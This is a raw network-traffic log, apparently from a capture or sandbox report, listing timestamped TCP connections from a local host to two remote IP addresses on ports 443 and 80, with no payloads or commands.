Nov 24, 2024 04:23:04.483728886 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.483762980 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.483778954 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.493494987 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.493546963 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.493603945 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.493818045 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.493832111 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.627737999 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.628240108 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.628317118 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.628671885 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.628685951 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.681549072 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.684597015 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.684684038 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.684735060 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.684735060 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.684757948 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.684771061 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.685240030 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.687551022 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.687599897 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.687735081 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.687880993 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.687899113 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.687942028 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.687961102 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.688369036 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.688376904 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.869430065 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.869467974 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.869524956 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.869545937 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.869760990 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.869837046 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.869877100 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.869877100 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.869900942 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.869925976 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.872349977 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.872395992 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.872468948 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.872591972 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.872605085 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.070862055 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.074328899 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.074431896 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.074502945 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.074502945 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.074541092 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.074567080 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.077303886 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.077359915 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.077470064 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.077656984 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.077673912 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.132899046 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.135960102 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.139272928 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.139384031 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.139384985 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.139430046 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.139462948 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.142036915 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.142070055 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.142160892 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.142283916 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:05.142294884 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:05.653086901 CET	80	49812	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:05.653207064 CET	49812	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:06.339294910 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.339855909 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.339886904 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.340445042 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.340451002 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.467401028 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.467859983 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.467895031 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.468435049 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.468441010 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.729145050 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.729778051 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.729804039 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.730395079 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.730403900 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.791925907 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.795005083 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.795104980 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.795141935 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.795141935 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.795161009 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.795171022 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.798115969 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.798212051 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.798290968 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.798418999 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.798434019 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.858968973 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.859545946 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.859608889 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.860116959 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.860137939 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.911659002 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.914752007 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.914824009 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.914846897 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.914916039 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.915020943 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.915040016 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.915066957 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.915072918 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.918164015 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.918205023 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.918276072 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.918411970 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.918421984 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.992945910 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.993902922 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.993937969 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:06.994502068 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:06.994508982 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.167026043 CET	49812	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:07.167526960 CET	49820	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:07.201981068 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.202172041 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.202289104 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.204984903 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.205023050 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.205054045 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.205060005 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.209142923 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.209187984 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.209268093 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.209613085 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.209625959 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.287101984 CET	80	49812	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:07.287125111 CET	80	49820	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:07.287179947 CET	49812	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:07.287245989 CET	49820	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:07.287480116 CET	49820	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:07.301944017 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.305105925 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.305156946 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.305161953 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.305223942 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.305285931 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.305286884 CET	49816	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.305322886 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.305350065 CET	443	49816	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.315011978 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.315057993 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.315149069 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.315335989 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.315356016 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.406917095 CET	80	49820	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:07.443713903 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.447194099 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.447355032 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.447594881 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.447614908 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.447649956 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.447657108 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.451020002 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.451069117 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:07.451159954 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.451324940 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:07.451335907 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:08.578476906 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:08.579061985 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:08.579098940 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:08.579629898 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:08.579638004 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:08.637145996 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:08.637727976 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:08.637748957 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:08.638324022 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:08.638329029 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:08.669054985 CET	80	49820	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:08.669153929 CET	49820	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:09.031222105 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.031730890 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.031797886 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.032310009 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.032340050 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.055615902 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.057312012 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.057768106 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.057804108 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.058187962 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.058195114 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.058680058 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.058749914 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.058846951 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.058847904 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.058896065 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.058923960 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.061481953 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.061583996 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.061671972 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.061796904 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.061832905 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.070899963 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.074117899 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.074170113 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.074222088 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.074240923 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.074251890 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.074258089 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.077433109 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.077498913 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.077573061 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.077712059 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.077737093 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.234173059 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.234724045 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.234761000 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.235307932 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.235322952 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.466077089 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.469161034 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.469245911 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.469295979 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.469322920 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.469340086 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.469347954 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.473488092 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.473542929 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.473632097 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.473787069 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.473803997 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.512183905 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.515651941 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.515712976 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.515710115 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.515763044 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.515818119 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.515837908 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.515847921 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.515853882 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.518528938 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.518590927 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.518678904 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.518861055 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.518877029 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.676690102 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.679795980 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.679872990 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.679919004 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.679940939 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.679950953 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.679958105 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.682813883 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.682899952 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:09.683006048 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.683177948 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:09.683212042 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:10.292218924 CET	49820	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:10.292536020 CET	49829	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:10.412187099 CET	80	49829	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:10.412275076 CET	49829	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:10.412281990 CET	80	49820	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:10.412343979 CET	49820	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:10.412559032 CET	49829	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:10.532114029 CET	80	49829	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:10.841456890 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:10.841984034 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:10.842051029 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:10.842430115 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:10.842444897 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:10.917335987 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:10.917977095 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:10.918041945 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:10.918432951 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:10.918447971 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.252916098 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.253446102 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.253506899 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.253844023 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.253856897 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.286021948 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.289027929 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.289133072 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.289133072 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.289194107 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.289226055 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.291784048 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.291846037 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.291922092 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.292032957 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.292048931 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.361407042 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.364398956 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.364461899 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.364479065 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.364520073 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.365312099 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.365312099 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.365334988 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.365349054 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.365756035 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.366656065 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.366676092 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.367079973 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.367090940 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.368474007 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.368516922 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.368575096 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.368685961 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.368695021 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.533730984 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.534493923 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.534528971 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.534950972 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.534965038 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.696224928 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.699301958 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.699397087 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.699455976 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.699455976 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.699481964 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.699495077 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.701957941 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.702052116 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.702136993 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.702305079 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.702338934 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.789474964 CET	80	49829	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:11.789577961 CET	49829	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:11.819072008 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.822182894 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.822262049 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.822325945 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.822352886 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.822366953 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.822374105 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.824915886 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.824975014 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:11.825048923 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:11.825176001 CET	49833	443	192.168.2.5	13.107.246.63
